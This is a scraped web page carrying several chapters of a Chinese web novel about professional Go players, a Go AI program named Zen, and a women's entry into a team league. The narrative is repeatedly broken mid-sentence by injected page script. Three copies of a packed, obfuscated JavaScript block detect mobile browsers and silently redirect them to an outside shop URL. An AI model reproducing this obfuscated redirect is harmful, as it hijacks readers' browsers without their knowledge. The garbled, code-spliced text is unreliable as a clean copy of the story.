() { $(''.inform'').remove(); $(''#content'').append('' 了。” 谢砚之跨入小房间内,坐在主机面前。多年来一直协助Zen的测试,他娴熟开机,指引Zen展开棋盘,设置对弈规则,出于节省时间的考虑,让庭见秋和Zen下快棋。 庭见秋觉得新奇,下得专注认真。 30分钟,Zen投子认输。 “也不怎么样啊。”庭见秋困惑地转向谢砚之。 和她想象的围棋人工智能程序一模一样:能应付一般的棋局,但无法与真正的棋士对弈,无法处理更为复杂的战斗。 谢砚之单手撑在庭见秋椅背上,半俯着身子看她的屏幕,沉声:“你的下法对Zen来说太新颖了。给它点时间适应,再下下看。” 又下一局。庭见秋思考的时间变长了,但仍顺利依靠乱战,不到一百五十手绞杀Zen的大龙。 “再来。” 第三局,中盘。 “我的天呐……” 庭见秋看着Zen破入自己空中的横来一着,长声慨叹。 这种不要命却又难缠无比的杀法,酷似她刚刚把Zen下到死机的手筋,但又完全不一样。 是远高于她的,另一种境界。 在第三盘,Zen终于了解庭见秋的棋路,寻找到了破敌致胜之法。 “它为什么能想到……”她直觉自己说得不对,止了声。 机器,没有办法“想”。它只是一个爬梳、学习围棋棋谱的程序,能够根据既有数据完成推理,但无法和人一样,完成创造性的工作。 一旁观战的孙建民,只有业余围棋段位,对围棋的理解不及两个年轻人深刻,从庭见秋细微的面部神情,他能够辨别出,Zen应当是下出了棘手的高招。 他笑说:“Zen现在还处于研究的中期。等Zen再成熟一点,计算和判断更加稳定准确,我有自信,它可以与顶尖的人类棋手一战。” 谢砚之望着庭见秋错愕的神情,低声安慰:“我第一次,见到Zen下出我无法想象的棋时,也是这种感受。” 如果没有灵魂的机器,也能够下棋,甚至能够与职业棋手对抗,迈入名人堂—— 那么,围棋是什么? 每个棋手都梦想着的神之一手,又是什么? 终有一天,围棋的终极不再是玄而又玄的神之一手,不再是人类穷尽智力的艰难创造,而是一台冰冷的机器。钢铁与芯片,组合成一座永远无可翻越的高山,横亘在人类微小的脚步之前。 面对Zen以日为单位的惊人进步,谢砚之意识到自己二十余年人生,空空虚掷,竟然与代码搏斗,耗费在攀一座无意义的硅基高山之上。途中,他获得了胜利、奖金、名誉,却毫无意义可言。 谢砚之却步了。 “秋秋,如果围棋不是艺术,而是一串程序……”他嗓音泛涩。 庭见秋却似没有听见一般,两眼直直地盯着屏幕上,Zen下出的她前所未见的一步棋,宛如入境—— “小燕子,这也太好玩了。你怎么不早带我来?” 她话音微颤,难掩兴奋,一双机敏的眼里,荧幕上的流光跃动不止。 “围棋不是艺术,也不是程序,围棋就是围棋本身啊。”庭见秋侧过头,认真地回答他,不假思索,理所当然。 她扬起食指,指向Zen落入自己大空之中的一手棋。 不管这是人类的计算,还是机器的成果。在纵横十九道之上,近两百个可落点之间,偏偏有这么一手棋,就好像落在无穷繁密的蛛网细线相交织的一点,引动宇宙洪荒的震颤。 “这就是围棋。这一步棋,就是围棋。” 34.本相 “谢砚之,你看着这步棋。从古至今,成千上万的棋手,前仆后继,在棋盘上构筑无数黑白世界,但这一步棋,囿于围棋研究有限的发展,棋手安于蹈袭而固化的思维,还从来没有出现过。 “——今日你我,见证了围棋一种新的下法的诞生,这已足够令人感动,何必纠结它是出于人脑还是机器,何必再去为它赋予围棋之外的意义?” 她话音清冽低沉,如山间涧水,却有镌石之力。谢砚之耳后一阵酥麻,不由地顺着她的指引,端视眼前,Zen下出来的一步棋。 他也从未见过这样的棋。 反常识,反直觉。撞碎棋手赖以生存的“棋感”,暗示围棋仍有无穷的可能性,尚待揭示。 他好像,一直以来都有太多芜杂的思绪。庭见秋那颗罕见的纯粹道心,如一块明镜,照彻他的灵台浮尘,本相毕现。不过是天容海色本澄清。 孙建民闻言微笑,拍了拍两个孩子的肩,示意接下来Zen任他们玩。 谢砚之还在发愣,庭见秋不再管他,自顾自和Zen下完全局。虽然有些吃力,但终归仍是人类的胜利。 “你输给过它?”庭见秋问。 “三次。” 于谢砚之而言,这三次输棋,是非常惨痛的经历。 如果说第一次,Zen模型刚刚完成迭代升级,还能算是他错估对手的实力,大意轻敌;后面两次,他只得承认,他尽了全力,也没能挽回败势。 庭见秋满脸羡慕,伸出拳头,邦邦捶两下主机:“加油啊,小电脑,你不能偏心,只跟他表现好,也努努力下赢我一次!” 又马不停蹄点开了新的对局。 此时两人还没吃午饭。谢砚之知道她下起棋来就没完没了,不下到低血糖都意识不到自己饿了,不客气地架起她两边胳膊,在她的毫无威力的乱叫反抗中,把她绑架去附近的食堂,先填饱肚子再说。 虽然一直知道庭见秋是一个对食物很有热情的人,但庭见秋吃相迅猛如蝗虫的样子,谢砚之也是头一次见。 谢砚之替她噎得慌:“不急。你记住我爸工作室在哪,日后想去就直接过去。” 庭见秋:“孙教授能不能把这个程序安装到手机上……至少,我们训练室不是快建完了吗,在训练室里装一个?” 对于庭见秋的建议,孙建民表示手机程序研发还需要时间,但是在训练室的电脑里安装,并不难,谢颖有类似的想法,Insight科技,作为孙建民科研项目长期的合作者和赞助方,也同意将产品提供给江陵长玫测试使用。但最好还是等两三个月,Zen再成熟一些,训练效率更高。 庭见秋幸福得有些眩晕。 一下午,庭见秋和谢砚之窝在工作间里,摸索Zen新版本的功能。 电脑按照设置好的段位,和真人对弈,是最基础的一种。 此外,Zen还可以根据棋谱,分析每一步棋对双方胜率的影响,并以此判断优劣。Zen的判断,时常和人类棋手的分析大相径庭,显示出机器对围棋的另类理解思路,很有参考价值; Zen可以生成一步棋之后可能的变化图; 如果给Zen输入足够多单个棋手的棋谱,Zen可以分析消化这名棋手的棋风,从而模拟他的下法; …… 直到天色如泼墨般暗沉,工作室里的研究员都去吃晚饭了,庭见秋终于恋恋不舍地被谢砚之带去吃校门口的烤串。 庭见秋这时才觉察到饿,豪气干云,点了一铁盘子蜜汁鸡中翅和孜然鱿鱼,边啃边习惯性地点开仇嘉铭直播下饭。 谢砚之余光瞟到,又默默移开视线,安静地举着烤串,啃鸡翅磨牙,连肉带骨头一起咬。咔嘣作响。 “哎,小燕子。”庭见秋举着手机,往对面略凑过来,“仇嘉铭在挑战谢老师哦。第二次。” 谢砚之也来了兴趣。 不知怎么,很想看仇嘉铭被暴揍一顿。 这一次,仇嘉铭与谢颖的对局不是网棋,而是在江陵长玫新装修好的训练室里下面棋。直播镜头从天花板往下拍,画面正好卡进一张完整的方形棋盘,棋盘边两只素绿色的瓷质棋碗,和偶尔伸入画面中落子的两只手。 除去落子时的噼啪作响,证明直播没有静音,再没有多余的声响。连呼吸声也听不见。 棋已约略下了七十多手,盘面上看不出黑白子谁优谁劣。仇嘉铭能在布局时期不落下风,已是进步不小了。 谢砚之索性从餐桌对面,坐到庭见秋身侧,一起在她的手机里看棋。 又过五十手,庭见秋渐觉得眼前这棋,似乎有种怪异的既视感。 她与谢砚之相视一眼,在彼此眼中,默契地读出相似的判断—— 仇嘉铭在模仿元修明九段的棋。 谢砚之被这荒唐的走势,惊得没忍住笑出声来:“他疯了?他会死得很难看的。且不说元修明的棋他能不能驾驭,也不说临时舍弃自己的棋风去适应别人的棋风是否可行……他压根不了解我妈,克我妈的压根就不是元修明的棋。” 谢颖对战元修明,胜率低得惊人,但这并不是因为元修明的棋路克制谢颖,而是因为谢颖对元修明有心结。背负太多过往,棋就不轻盈。 而对战仇嘉铭,她可没什么顾忌。 仇嘉铭学得蹩脚,肖形不肖神,无论是计算力还是大局观,都没办法和元修明相比。谢颖不再像和元修明对阵那样,轻易动手,暴露弱点,而是缓慢地磨刀,等待对手引颈就戮。 又过五十手,谢颖设下的连环套引爆,仇嘉铭的黑棋全面溃败,情势急转直下,这盘棋眼见已没有任何挣扎的余地。 此时,整盘棋还不到两百手。庭见秋和谢砚之点的烤鸡翅还热乎着。谢颖演了一出果决干脆的温酒斩华雄。 庭见秋咬着下唇唏嘘:“谢颖老师这下得也太不留情面了……” “我妈肯定看出来仇嘉铭在模仿元修明的棋风,生气了。不然不至于这样。” 杨惠子不久前顺利入职江陵长玫的新媒体宣传部门,庭见秋估摸着照她对待工作抛头颅洒热血的拼搏奋斗劲,此刻应该还在岗。 一问,果然。 杨惠子正在直播镜头拍摄不到的一角,忧心忡忡地看棋。 她能看出仇嘉铭大势已去,也隐隐觉得仇嘉铭今日的棋风和往常不太一样。但以她的能力,还说不上来具体哪里变了,更看不出仇嘉铭棋风的变化,和他今日的惨败又什么关联。 手机微震,庭见秋又发来语音消息。她低头,长摁消息气泡,转成文字。 庭见秋向她简单解说了这盘棋,最末:“……仇嘉铭已经不相信凭自己的棋可以战胜谢颖了。一个棋手的立身之本,就是他的棋。仇嘉铭如果连自己的棋都丢了,他还剩什么?” 庭见秋说得犀利直白,令杨惠子一阵心惊。 眼前,仇嘉铭自知已无力挽回,神情颓丧,却还不舍得认输。谢颖伸出食指点了点棋桌,谕令: “别下了。” 仇嘉铭脸色灰败,站起身来,对谢颖深鞠一躬,头险些栽到桌上:“对不起,老师。” 谢颖没有应声,冷着脸分拣棋子。仇嘉铭连忙帮她收拾。谢颖不看他,嗓音带着低沉的威压:< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967666|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “如果再是这种棋,不要来浪费我的时间。” 语罢径自捡起桌边的保温水杯,拎起椅背上的手包,离开。 留下仇嘉铭一个人,缓慢地收拾棋桌。 他这时才想起来,还直播着,将最后一捧棋子归入棋碗之中,合上棋碗的盖子,取下支起拍摄的手机,对着镜头,又摆出他最娴熟的满不在乎的笑: “哎呀观众们,看来我能力不够,学艺不精,新策略没派上用场。……没关系!那咋了!这不是三次机会还剩一次吗!江陵长玫实在不要我,我再投投别的俱乐部,老天还能绝了我的路不成……” 杨惠子讨厌他讨好观众时油滑的笑声。 这笑声像是在仇嘉铭面上层层叠叠涂抹着的劣质颜料,令她见不到他的本相,只见到一张浮夸虚伪的假面。 她看一眼表。八点多,正好下班。 走出江陵长玫训练室所处的商业楼,她察觉到自己的润唇膏落在训练室里了。 这也不是什么非要带回家的东西。 但给了她回去一趟的理由。 她一边摁亮上行的电梯,一边在心里默默发誓:如果她回到训练室,看到仇嘉铭还在捣鼓他那狗屁直播,还在笑嘻嘻地假装不在乎,她就不管什么润唇膏了,她立马掉头回家,从此见仇嘉铭一次,骂他一次。 训练室里漆黑一片。 杨惠子打开灯,偌大的棋室里空无一人,仇嘉铭不知道去哪了。原先她站着看棋的地方,没有她的润唇膏。她又顺着走廊,往卫生间里找。 半路上,灰白墙壁边,一个身形健硕高大的男人,蹲着团在墙根,大脑袋圈在手臂里,身体微微抽动。听到杨惠子的脚步,他似极力压抑了情绪,但仍不时泄出一两声啜泣。 仇嘉铭在哭。 趁所有人都下班了,找了个靠近厕所的位子,哭得像只找不到回家的路的大狗。 “搞什么……”杨惠子无奈地叹了口气。 仇嘉铭从臂弯之间,探出哭湿了之后显得皱巴巴的眉眼,自暴自弃地:“怎么又是你?你嘲笑……” 杨惠子在他面前蹲下,伸出双臂,将他很小心地圈进自己怀里。 仇嘉铭体格太大,杨惠子只能环住一半,手掌落在他宽厚的脊背处,像哄孩子似的,很轻地拍着。 仇嘉铭像吓着了,身体僵硬,一动不动。她的怀抱温暖轻盈,像盘生在野地废弃的巨石之上,一株很小的菟丝子。她身上的气息淡雅柔和,是一股清晨微风里捎来的初开桂花香气,蔓延在他身侧,像是菟丝子探出的脆弱盘旋的藤蔓,牵扯着他。看似是菟丝子依附巨石而生,可事实分明是巨石仰赖这一刻的牵扯,而不至于分崩离析。 “哭吧。你的沮丧,伤心,不甘,把它们都哭出来。先正视你的情绪,才能战胜它们。” 她吐字诚恳清晰,却如咒语,仇嘉铭听不真切。 他记起三年前,他与杨惠子堪称朋友的一瞬。那一晚,他输了棋,在酒吧喝酒消遣。杨惠子坐到他身边,告诉他,自己是他的粉丝。杨惠子二十出头,生得甜美喜人,笑时颊边酒窝鲜明。一开始,他只想在年轻女粉丝面前吹牛。但杨惠子陪了他整夜,陪到酒吧关门,两人并肩散步,穿过半个岳州城,直到岳州江边浅滩,破晓时分。 他兴许是喝多了。此刻他对于杨惠子,除了名字,一概不知,他却把职业人生中的所有困顿时刻,全都倾吐给了身侧的女孩。 后来他发誓,再也不相信任何人。 尤其是不相信眼睛圆溜溜、看起来善良真诚的姑娘。 他想,恐怕他又要犯错。 35.围乙 杨惠子任仇嘉铭独自平复情绪,下楼,在大楼门口的便利店里,买了些热腾腾的关东煮回来。 两个人也不挪地方,蹲在厕所门前,一人捧一杯关东煮,吃得安静。吃完,杨惠子高举起装满溢着浓香的清汤的纸杯: “敬仇嘉铭七段,不服输,不放弃。” 仇嘉铭握着纸杯的手一顿,不情不愿地也随着她举起: “也敬杨记者,打个棒槌,给个甜枣。” 杨惠子不客气地,扬起薄软的手掌,结结实实在他臂膀上扇了一下,“啪”一声脆响,眼刀一剜:“你好好说话的时候我什么时候骂过你?” 江边那次。和现在厕所门前这次。 仇嘉铭顾左右而言他,对着纸杯不满:“怎么没买酒,净喝素的。” 杨惠子冷冷:“喝酒伤脑,爱惜点职业寿命吧你。” “又换棒槌了。” “……”开始贫了,就是情绪好了。杨惠子掏出手机,把庭见秋一边看棋一边给她发的语音,放给仇嘉铭听。 语音转文字的时候看不出来,一放语音才知道,原来庭见秋发来的语音,不止她在说话,还插有谢砚之的评论。 庭见秋:“开局的时候挺扎实的,有争抢大场的意识。” 谢砚之:“没犯大错。” 庭见秋:“第81手出现问题。简单冲断就好,这里学元修明的小飞手筋不成立。” 谢砚之:“画虎不成反类犬。” 庭见秋:“右下处理得很顽强,但弃子争先收获更大。” 谢砚之:“倔了白倔。” …… 杨惠子诧异地看向仇嘉铭:“你是不是哪惹着谢砚之了?” 仇嘉铭浑然不觉,正为了庭见秋发来的详细复盘语音而感动:“有吗?我和秋秋小谢天下第一好。” 又补充一句:“真的,他俩在旅游的时候还轮流找我下棋呢。” 杨惠子:…… 没救了。 * 五月底,华国围棋甲级联赛新赛季启动,于京城举办开幕仪式。 包括京城华一、喜州淮造、武昌麒麟、岳州谈棋在内的16支强队,将通过15轮单循环常规赛,和四轮季后赛,展开长达大半年的艰苦角逐。 京城华一俱乐部,出走一名谢砚之九段,尚有四名现役九段:张博新,葛皓,吕正严,迟纬。代表京城华一出战围甲的,除去这四名九段强手之外,还有元天宇六段,和朝国外援金真敏九段。 阵容强大到棋友戏评:哪怕笨重如大象,也只需要四只象腿。 撇去前阵子丑闻不断的元天宇不算,京城华一也有五只,可以仰赖的粗腿。 围甲联赛的第一和第二轮比赛,与开幕式同时进行。每轮每队派出4名棋手,其中1名主将,1台快棋。 棋队排名,先看场分,场分相同时,看局分。局分简单,每场比赛,胜局得2分,败局不得分。场分更关键,局分高者,场分记3分,局分少者不得分。局分相同时,则显示出主将战的关键之处:主将获胜一方场分记2分,另一方记1分。* 棋友与媒体讶异地发现,京城华一在有5名强九段的情况下,出战主将的,竟是元天宇六段。 名单一出,舆论啧啧称奇。 元天宇被前队友谢砚之在云松杯上肆意戏弄,不过是一个月之前的事。 不知道一个主将名额,要多少钱,费多少人情与脸面。 ——然而,元天宇六段竟以稳健得出人意表的水准,平稳拿下了前两轮主将战的胜利。京城华一连续零封广州乐棋与宜川丰健,夺下局分16分,场分6分。 谢砚之的出走,不曾撼动京城华一的实力。京城华一仍大有蝉联冠军之势。 * 围甲联赛启动,华国围棋乙级联赛的报名工作同时开始。 在上一赛季的围甲联赛中,渝都广行队与严州智仁队,双双降级,加入六月初乙级联赛。 此外,因身负“国手”头衔的九段棋手谢砚之助阵,新注册的俱乐部江陵长玫,也被特批允许跳级,参与围乙。 围乙赛程不像围甲那么漫长。只8轮,六月初开始,一日一轮,包括报道及开幕式,10天之内完赛。 共17支棋队,争夺2个升级围甲联赛的名额。 为备战围乙,江陵长玫举队从朝国回来之后,便在新修成的训练室里,展开高强度集训。谢颖为领队,赵良甫为教练,偶尔请来圈内的高段前辈,给队内棋手下指导棋。江陵棋院离得不远,冲段少年们也常来俱乐部蹭集训。 围乙与围甲类似,每轮派出四名棋手出战。除谢砚之、蒋阳成之外,江陵长玫最有竞争力的棋手,是言宜歌与庭见秋。 华国的围棋甲级联赛与乙级联赛,实际上是男子赛事。为鼓励华国女子围棋的发展,使更多女棋手可以在高水平赛事中得到锻炼,竞赛章程明文规定,女棋手经批准后可以参赛。 谢颖报上两名女棋手的参赛申请,很快得到华国棋协的允准。 她诧异于元修明没有暗中使绊子。尤其是庭见秋。她尚未获得职业棋手身份,能够证明她棋力的,只有世界女子邀请赛亚军这一大奖。元修明有千百种方式否决庭见秋的参赛申请。她早做好了与元修明掰手腕的准备。元修明深踞棋坛中心,人脉宽广,权力巨大。可她也不差。 后来,参赛人员名单公示时,谢颖才明白原因。 从围甲降级入围乙的渝都广行队,也报了一名生面孔的业余女棋手:辛芸。 元修明如果要以庭见秋没有职业段位、缺乏大赛经历为由,阻止她参赛,这名叫辛芸的女棋手,便显得名不正言不顺。元修明不会给谢颖留下这样明显的把柄。 这是一笔买一送一的买卖,庭见秋是送的那个。 又或许,元修明只是傲慢。他根本不相信,一个名不见经传的业余女棋手,能为江陵长玫掀起什么风浪来。 * 六月二日,围乙联赛在武昌市正式开幕。 围乙受到的关注度,远不及围甲。今年,江陵长玫的横空出世,为围乙平添了一些话题度。 棋友论坛上,赌江陵长玫能否成功升级围甲者有之;唱衰江陵长玫,赌江陵长玫将会一败涂地、降级围丙者亦有之。谢砚之的存在,为江陵长玫每轮稳稳保下一分;然而蒋阳成、言宜歌,尤其是庭见秋,都是未知之数。 最多见的议论,是沿袭杨惠子在江陵长玫官方公众号推文中的说法,将江陵长玫称为: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984143|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子军。 围甲、围乙、围丙,虽然女子棋手也可以申请参赛,但历来,鲜有棋队敢于派出女棋手,代表全队征战决定棋队一年荣耀的团体锦标赛。这是棋队出于功利需求的客观选择,更是长久以来围棋培养体系中性别不均衡的结果。 以华国围棋团体赛最高级别赛事为例,围甲创办二十年来,从未出现过女性面孔。 杨惠子在文中写: “华国现役九段五十余人,女性棋手只有谢颖九段一人。一千年前,水泊梁山英雄好汉的性别比,都比当下的华国围棋界平衡。 “——正因如此,江陵长玫才显示出一抹异色。” 围乙赛事过半,江陵长玫凭亮眼的成绩,令甚嚣尘上的议论,霎时止声。 四轮比赛,一台谢砚之全胜,二台言宜歌、三台蒋阳成二胜二负。 因缺少职业段位,而只能屈居四台的庭见秋,全胜。 曾在世女邀请赛对阵言宜歌时牛刀小试的布局,在谢颖与韩智闵两位前辈九段的磋磨之下,日趋成型,令关注围乙的棋友眼前一亮。 数日比赛下来,江陵长玫与渝都广行稳居前二,场分、局分不相上下。第六轮,严州智仁1:3败于江陵长玫之后,屈居第五,升级几乎无望。 赛事接近尾声,严州智仁内部一片愁云惨淡。 翌日,第七轮。严州智仁,对阵和它一起不幸被降级、如今似要重回围甲的渝都广行。 严州智仁的四台棋手,是一名名叫徐浩的青年四段。自打严州智仁失去升级的可能性,徐浩心意惫懒,提不起劲下棋,下到中盘,觉得闷了,出门上个厕所,溜达溜达。 在厕所门口,他见到了自家领队。 按围棋正式比赛的规则,此刻,他不能和领队有任何对话互动。但领队张了张嘴,一直盯着他看,显然有话要对他说。围乙管得松,没有裁判随同,他左右望望无人,便走上前,领队正色: “反正我们也不太可能升级了,还不如做点懂事的事。” 徐浩:“?” “你回去,把手头这棋让掉。给你队友比个手势,都让掉。让得漂亮点。” 徐浩懂了。 他今天的对手,渝都广行,是江陵长玫最有力的竞争者。让渝都广行独占2分场分,就是给江陵长玫使绊子。给江陵长玫使绊子,就是“懂事”。 严州智仁上不了明年围甲的名单,至少能上某个大人物的心。 他了然地比了个“ok”,回到赛场,信心满满地下了一手奇臭无比的棋。 坐他对面,是渝都广行的四台,业余女棋手辛芸。 辛芸对着这手棋,沉思半分钟,然后,在自己的实地里,填了一颗子。 一步没有任何意义的棋。 徐浩紧张地小声问:“你干嘛?” 辛芸也不避裁判,平声说:“跟谢砚之学的。” 云松杯,谢砚之的逗狗局,棋圈人尽皆知。徐浩没想到,有一天自己也会成为被逗的那条狗。 辛芸:“你再下臭棋,我还填自己的空。” 徐浩气笑了:“大姐,我在让你,你不想赢?” 辛芸也笑:“弟弟,你要不要睁眼瞅瞅这盘棋,我用得着你让?” 36.大小姐 裁判听到二人的对话声,严肃地走到四台棋桌边,重申赛事规则,谁再说话,罚一子。 辛芸知道对面已无心下棋,草草地搜刮一通,就任对手投降,背起挂在椅背后的炭黑色训练包,径自离开赛场。 她觉得无聊透顶。 不知道自己那个钱多得没处使的爹,费老鼻子劲把自己塞进渝都广行打什么围乙,到底是为了什么。 队友冯安康八段也舒爽地赢了盘不费力的棋,跟着她一起出来,冲她打了个招呼:“辛大小姐好,又赢棋了?” 辛芸转过脸。她二十出头,生了一张运动员的脸,面部皮肤紧致,呈现出健康的深色,颧骨突出,单眼皮纤长,眼尾傲慢地上挑,眼仁乌黑,浓密粗直的长发一丝不苟地梳到脑后,露出光洁宽阔的前额。身形也是健硕的,肌肉纤薄有力。她不顾正式赛事须着正装的规矩,身穿一件无袖的速干运动衣,臂上线条流畅。和赛场里其他常年久坐、疏于锻炼的棋手,形象风格迥然不同。 辛芸不顾严州智仁的棋手正在不远处,直接说:“严州智仁在让棋。” 冯安康一愣,然后了悟地露出鄙夷的神情:“我说怎么赢得这么容易……不过也不奇怪。” “怎么?” 冯安康耐心解释:“我们现在和江陵长玫场分一样,如果我们这轮能拿2个场分,长玫没拿到,长玫不就被我们挤下去了嘛。” 辛芸还是没听懂:“然后呢?” “然后?然后就寄希望于第三再努努力,把江陵长玫超了呗。第三是潮城队?如果我没猜错的话,它的对手应该也在让棋。” 辛芸抿着薄薄的嘴唇,沉默半晌:“……不好意思我小初高是在A国读的,有时候对华语有点接受困难。意思是严州智仁,甚至不止是严州智仁,都想让江陵长玫晋不了级?这对他们有什么好处?” 这回轮到冯安康沉默了。 京城华一及京城华一背后的华国棋协掌门人,和江陵长玫的一连串恩恩怨怨,就算说给眼前这位家境优渥的大小姐听,大小姐恐怕也只会露出一副莫名其妙的表情,说着“好无聊”离开。毕竟她只是来围乙玩票,打发时间的。不在体制之中,不受体制所累,当然看什么都觉得无所谓。 这辈子好想像大小姐一样清澈自在地活一次啊。 辛芸不关心这些与她生活关系不大的事,懒得纠结。 当晚七点,赛程安排公示,明日,第八轮,广行对战长玫。 辛芸会和长玫的四台,庭见秋,对弈作战。 她是业余,庭见秋也是业余; 她四胜三负,庭见秋五胜二负。 围乙十日,这是唯一值得期待的一件事。 * 第二日,正午过一刻,庭见秋和队友一起抵达赛场时,见自己对面的对手席上,一位女棋手已经入座。 很眼熟,但不像是在棋赛中见到过。 庭见秋在她面前落座,礼貌地微微颔首。 对方并不回应,没有任何铺垫地开口:“你知道严州智仁昨天让我们棋了吗?” 庭见秋为她的直率一愣,回答道:“不知道。……不过也不意外。” 谢砚之听见这一桌的对话,侧过头来,和庭见秋无声对视一眼。 对面的女生担心她不理解赛事规则似的,解释说:“他们不想让你们晋级。” “这也不是他们可以决定的。”庭见秋语气平静。 昨日,江陵长玫又是大满贯,仍和渝都广行场分并列第一,局分微微领先。 庭见秋接着说:“更何况,没有人让我们,每个人都拼尽全力想让我们输,这才下得有意思。” 辛芸咧嘴一笑,露出整齐洁白的牙齿: “我也不会让的。” 十二点半,围乙第八轮赛事准时开始。 渝都广行是江陵长玫本次围乙中所能遭遇的最强的对手。一台,与谢砚之对弈的是渝都广行的主力周瑞九段。二台,冯安康八段。三台,郭希千六段。四台,辛芸虽是业余,却战绩喜人。 集训期间,谢颖与赵良甫早已将周、郭、冯三人的棋拆解明白,分别交给谢砚之、言宜歌、蒋阳成研究。 唯独辛芸。无法检索到她的棋谱。一个全然的未知数,交给庭见秋随机应变。 庭见秋以她研制已久、最擅长的布局,不变应万变。 她的棋越怪,辛芸就肉眼可见地越亢奋。 庭见秋的布局之法,最大的特色就是勇于打破定式成规,追求高效率。——巧了,辛芸没有受过传统棋院里打谱背定式的训练,压根不爱按着定式走。她的思维如一阵野地里无由来卷起的旋风,在庭见秋设下的天罗地网之中,肆意横冲直撞。 最后,辛芸输得畅快敞亮,干脆地将两枚黑子抛在桌面上,啪嗒两声脆响。 庭见秋压低肩膀,又鞠一躬: “承让。” 辛芸没有收拾棋盘的习惯,任庭见秋独自拣着棋子: “哎,下次能和你下棋是什么时候?” 她太无礼,庭见秋懒得接话。 辛芸不依不饶:“你总要参加比赛吧?你下一场比赛是什么时候?” 裁判听到话声,巡视过来,看到又是辛芸这个违规聊天大户,严厉地骂了一串: “又是你……你不知道观棋不语?你是来比赛还是逛菜市场来了?你比完了就能聊天打扰别人?棋院里怎么教的规矩?还有你这身衣服也不对……” 辛芸往椅背上悠然一靠: “你们围棋规矩这么多?我没上过棋院。我的棋,家里爷爷教的。” 辛芸的爷爷,辛氏医药的老掌门人,是个业余的棋疯子。为了讨爷爷欢心,争家产,她在父亲的胁迫之下,跟着爷爷学了棋。她难得地付出了十成十的努力,学得格外认真。 有其他裁判认出辛芸,赶紧来劝,小声对正气急上脸的裁判附耳说了什么。原本气得脸红脖子粗的裁判,脸色乍变,又深深看了眼辛芸带着无谓的脸,悻悻离开。 庭见秋仿佛局外人,自管自收好棋,提起双肩包的一边肩带,面无表情地离开赛场。 辛芸吃了个闭门羹,撇了撇嘴。 正好二台也下完了,冯安康走来,在辛芸椅背上轻轻一拍: “走吧大小姐。” 几天相处下来,他已发现辛芸没什么富家小姐的架子。由于没有钱摆不平的事,她没有心眼子,有话直说,意外地很好相处。 辛芸难得规矩一次,跟着冯安康安静地出了赛场。 “赢了?”她问。 冯安康点点头。 赢得极难。 他以前只在一些宣传场合见过打扮靓丽如女爱豆的言宜歌,还帮亲戚朋友买过一些她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13993250|145227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 签名明信片,也看过她初入京城华一时的棋谱,但从没有如此,和她面对面下过棋。 他很难想象,一个漂亮的小姑娘,棋风竟会像塑料布罩在人脸上一般,密实得让人透不过气来,在稳健的同时,步步杀机。若非中后盘,言宜歌不慎犯错,被他找到破局的点,这盘关键的决胜棋,就被他丢了。 “你认识江陵长玫的四台吗?” “知道一点,不算认识。” 辛芸这个问题,抛给职业棋手圈的人,恐怕都会得到这个答案。 人人都隐约听说过世界女子邀请赛时爆出的八卦,知道有这么一个业余女棋手的存在,却又没机会和她下盘棋。她的名字,像幽灵一般,盘旋在职业围棋圈的边缘。 冯安康又说:“她肯定会去参加七月份的定段赛。” “这个比赛怎么报名?” “大小姐,这不是可以报名的比赛。”冯安康哭笑不得,“参加定段赛,是由地方棋院往棋协上报名单,每个地方都有名额限制,你首先得挂靠地方棋院……” 辛芸听到一堆规章制度就烦,不耐地蹙了蹙眉心:“投钱能解决吗?” 冯安康哽住。 好像确实没有投钱不能解决的事。 “不过你不知道定段赛的性质吧。如果成功定段,就会成为华国围棋协会注册的职业棋手,到时候,为什么严州智仁要让棋,江陵长玫升不了级对谁有好处……这些事,你可就得知道了。” 他欣赏地看着眼前恣意不羁的女生。 就好像多年前,在川西高原之上,一汪明净如泪珠的湖边,他见到一匹白马,色如山巅之雪,在碧绿的山野之间一闪而过。 如果谁给这匹马上了蹄铁、嚼子、鞍鞯与缰绳,他会不忍。 辛芸真诚地困惑:“就算我们家是围甲最大的赞助商?” “……” 对不起,打扰了。 * 围乙最后一日,是颁奖典礼暨闭幕式。 最后一轮,江陵长玫与渝都广行二比二平,各得1分场分,最后场分相平,江陵长玫局分略高,获围乙团体第一,顺利获得升级围甲的资格;渝都广行排名第二,重回围甲。 团体领奖完毕,两队走下领奖台。 庭见秋见辛芸脚步有些踉跄,下领奖台时,眼明手快地抬手,在她手肘处扶了一把。 辛芸回过头来,打声招呼:“嗨,四台。” 庭见秋倒有些习惯她的没礼貌了,随口一问:“你腿怎么了?” “不是腿,是髋。”辛芸往自己髋骨上一抚,“骑马的时候摔伤了,复健了一年还没好全,病床上实在无聊,才开始下棋的。你们围棋倒是很适合我养病啊,整天坐着。” 